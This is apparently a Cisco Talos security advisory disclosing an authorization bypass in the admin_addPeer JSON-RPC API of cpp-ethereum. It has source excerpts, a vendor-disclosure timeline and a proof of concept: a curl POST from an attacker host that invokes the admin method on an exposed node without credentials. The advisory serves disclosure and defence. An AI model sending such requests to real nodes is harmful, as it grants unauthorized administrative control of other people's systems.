Headline
CVE-2017-12112: TALOS-2017-0464 || Cisco Talos Intelligence Group
An exploitable improper authorization vulnerability exists in admin_addPeer API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
Summary
An exploitable improper authorization vulnerability exists in admin_addPeer API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
Tested Versions
Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768
Product URLs
http://cpp-ethereum.org
CVSSv3 Score
4.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N
CWE
CWE-285: Improper Authorization
Details
CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage client/node functionality. Improper authorization checks in the implementation of the admin_addPeer API allows a remote attacker without any credentials to triggers functionality reserved only for a user with administrator privileges. We can observe a similar approach in two other clients (lack of any kind of authorization) but in this case the situation is exacerbated by the fact that:
- By default interface is bound to 0.0.0.0, which means it’s exposed to the world
- The Content-Type set to ‘application/json’ during requests is not enforced, which means that even if eth JSON-RPC daemon is ran on machine behind a NAT
the JSON-RPC APIs can still be easily triggered by CSRF or SSRF attacks.
- older version of the same API had implemented an authorization check
- there is no visible option to change the default JSON-RPC interface to localhost
For comparison let us take geth (the go ethereum client) which also implements a JSON-RPC interface but using much better security practices: - by default the interface is bound to localhost - The “Content-Type” request header value must be set to ‘application/json’ - CORS settings are set to block by default all “cross-domain” requests
Let us take a look at admin_addPeer and describe the improper authorization check in detail:
Line 81 bool AdminNet::admin_addPeer(string const& _node)
Line 82 {
Line 83 m_network.addPeer(p2p::NodeSpec(_node), p2p::PeerType::Required);
Line 84 return true;
Line 85 }
As we can see there is no user privileges check, which is done in a couple of other APIs via the RPC_ADMIN macro. The same functionality is exposed over the admin_net_connect API where at the beginning of API body, a privilege check is performed:
Line 29 bool AdminNet::admin_net_connect(std::string const& _node, std::string const& _session)
Line 30 {
Line 31 RPC_ADMIN;
Line 32 return admin_addPeer(_node);
Line 33 }
We are aware that this client is not recommended for mining and that the mentioned functionality related with the administrator interface is turned off by default. However when enabled the default behavior is insecure and can allow a remote attacker to perform unauthenticated RPC requests.
Exploit Proof-of-Concept
#1 eth machine
icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ifconfig
ens33 Link encap:Ethernet HWaddr 00:0c:29:55:70:17
inet addr:192.168.217.155 Bcast:192.168.217.255 Mask:255.255.255.0
inet6 addr: fe80::2d31:de2:bf58:a2d9/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:647149 errors:0 dropped:0 overruns:0 frame:0
TX packets:382058 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:371970434 (371.9 MB) TX bytes:81283333 (81.2 MB)
icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j --admin-via-http
cpp-ethereum, a C++ Ethereum client
cpp-ethereum 1.3.0
By cpp-ethereum contributors, (c) 2013-2016.
See the README for contributors and credits.
Networking disabled. To start, use netstart or pass --bootstrap or a remote host.
JSONRPC Admin Session Key: Zt9zxSANHZs=
ℹ 03:09:10 AM.197|miner0 Loading full DAG of seedhash: #00000000…
ℹ 03:09:10 AM.978|miner0 Full DAG loaded
icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ netstat -antp tcp | grep eth
tcp 0 0 0.0.0.0:8545 0.0.0.0:* LISTEN 107480/eth
#2 attacker host
ipconfig
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::c05c:47b5:47f4:8265%11
IPv4 Address. . . . . . . . . . . : 192.168.217.129
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.217.2
curl -i -X POST --data '{"jsonrpc":"2.0","method":"admin_addPeer","params":[""],"id":1}' 192.168.217.155:8545
200 OK
Connection: Keep-Alive
Content-Length: 1544
Content-Type: application/json
Date: Fri, 08 Dec 2017 10:40:45 GMT
{"id":1,"jsonrpc":"2.0","result":[{"caps":["eth/62","eth/63","par/1","par/2","pip/1"],"id":"c5900cdd6d20795d58372f42dfbab9d664c27bb97e9c27972741942736e919122f9bac28e74cbc58e4ff195475ea90d9880b71a37af5b5a8cb41d843f765cff8","lastPing":0,"name":"Parity/v1.7.0-beta-5f2cabd-20170727/x86_64-linux-gnu/rustc1.18.0","network":{"remoteAddress":"174.138.79.48:30303"},"notes":{"ask":"State","manners":"nice","sync":"ONGOING"}},{"caps":["eth/63","les/1","les/2"],"id":"f297c16e1847d4174f74eb308da3505cfaa0b3a9cd0c14a71c31370387556f572e678f6ab36edd8da58b8dd0b6bf26cac1e40f95d577d0f2c8f1abea616a36c7","lastPing":0,"name":"Geth/v1.8.0-unstable-e37f7be9/linux-amd64/go1.9.2","network":{"remoteAddress":"35.163.201.132:0"},"notes":{"ask":"BlockHeaders","manners":"nice","sync":"ONGOING & needed"}},{"caps":["eth/62","eth/63","par/1","par/2","pip/1"],"id":"440163f14f90ff004eb6d8adb6a0126127467900e5ee62025da9c55813615e3a956c2286a1cdfee6f8e47ee977c224c3492e0d03442bae8148c9f14ca52b4d7a","lastPing":0,"name":"Parity/v1.7.6-unstable-1953533-20171013/x86_64-linux-gnu/rustc1.19.0","network":{"remoteAddress":"192.81.129.199:30304"},"notes":{"ask":"BlockHeaders","manners":"nice","sync":"ONGOING & needed"}},{"caps":["eth/62","eth/63"],"id":"f677c65a03a941552ee181920e4b7fa2ca298df3173f6ac32dcf444db6884db716631e02b95f8a0d55fb72da389d8728731ee7c415f88af26a4dbcdb95845851","lastPing":77,"name":"Geth/v1.7.2-stable-1db4ecdc/linux-amd64/go1.9","network":{"remoteAddress":"176.221.43.121:0"},"notes":{"ask":"BlockBodies","manners":"nice","sync":"holding & needed"}}]}
Timeline
2017-12-06 - Vendor Disclosure
2018-01-09 - Public Release
Discovered by Marcin ‘Icewall’ Noga of Cisco Talos.